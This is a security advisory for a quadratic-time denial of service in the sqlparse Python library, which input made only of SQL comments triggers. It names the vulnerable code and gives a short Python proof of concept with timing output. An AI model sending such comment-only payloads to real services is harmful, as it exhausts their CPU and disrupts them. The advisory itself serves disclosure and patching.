PT-2026-80668 · Pypi · Sqlparse

Published

2026-08-19

·

Updated

2026-08-19

CVSS v4.0

8.7

High

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Summary

A comment-only statement (-- c *n) may cause a Denial of Service (DoS).

Details

Location: sqlparse/engine/grouping.py:331-341 (group comments), invoked first in group() at grouping.py:439. Reachable via sqlparse.parse() and sqlparse.format(sql, strip comments=True).
A statement made of many single-line comments ('-- c ' repeated) lexes in O(n) but group comments is O(n²):
python
def group comments(tlist):
  tidx, token = tlist.token next by(t=T.Comment)
  while token:
    eidx, end = tlist.token not matching(
      lambda tk: imt(tk, t=T.Comment) or tk.is newline, idx=tidx)
    ...
    tidx, token = tlist.token next by(t=T.Comment, idx=tidx)
The while loop runs n times and each token next by / token not matching rescans the O(n) remaining tokens. When all tokens are comments/newlines nothing ever groups, yet the full scan is repeated per token.
Two following factors increase the severity:
  1. group comments runs first in group() (grouping.py:439), before the group matching token-count guard (grouping.py:34-39). So the entire quadratic cost is paid even on oversized input. MAX GROUPING TOKENS does not provide protection on this vector.
  2. It sits on the primary sanitizer path: format(sql, strip comments=True), used by query loggers, SQL firewalls, ORMs, and migration tools.

PoC

Tested using Python 3.14:
python
import time, sqlparse
for n in (1000, 2000, 4000):
  s = "-- c
" * n
  t = time.perf counter()
  sqlparse.format(s, strip comments=True)
  print(f"n={n:5d} format(strip comments)={1000*(time.perf counter()-t):7.1f} ms")
Output:
n= 1000 format(strip comments)= 106.0 ms
n= 2000 format(strip comments)= 403.3 ms
n= 4000 format(strip comments)= 1602.8 ms
Time increase of ~4× per 2× input (quadratic). parse() shows the identical curve. Instrumented scan counts are exactly 1.0M / 4.0M / 16.0M tokens for n=1000/2000/4000. A ~250 KB comment-only payload forces minutes of CPU regardless of the 10000 token cap.

Impact

Denial of Service

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-3697

Affected Products

Sqlparse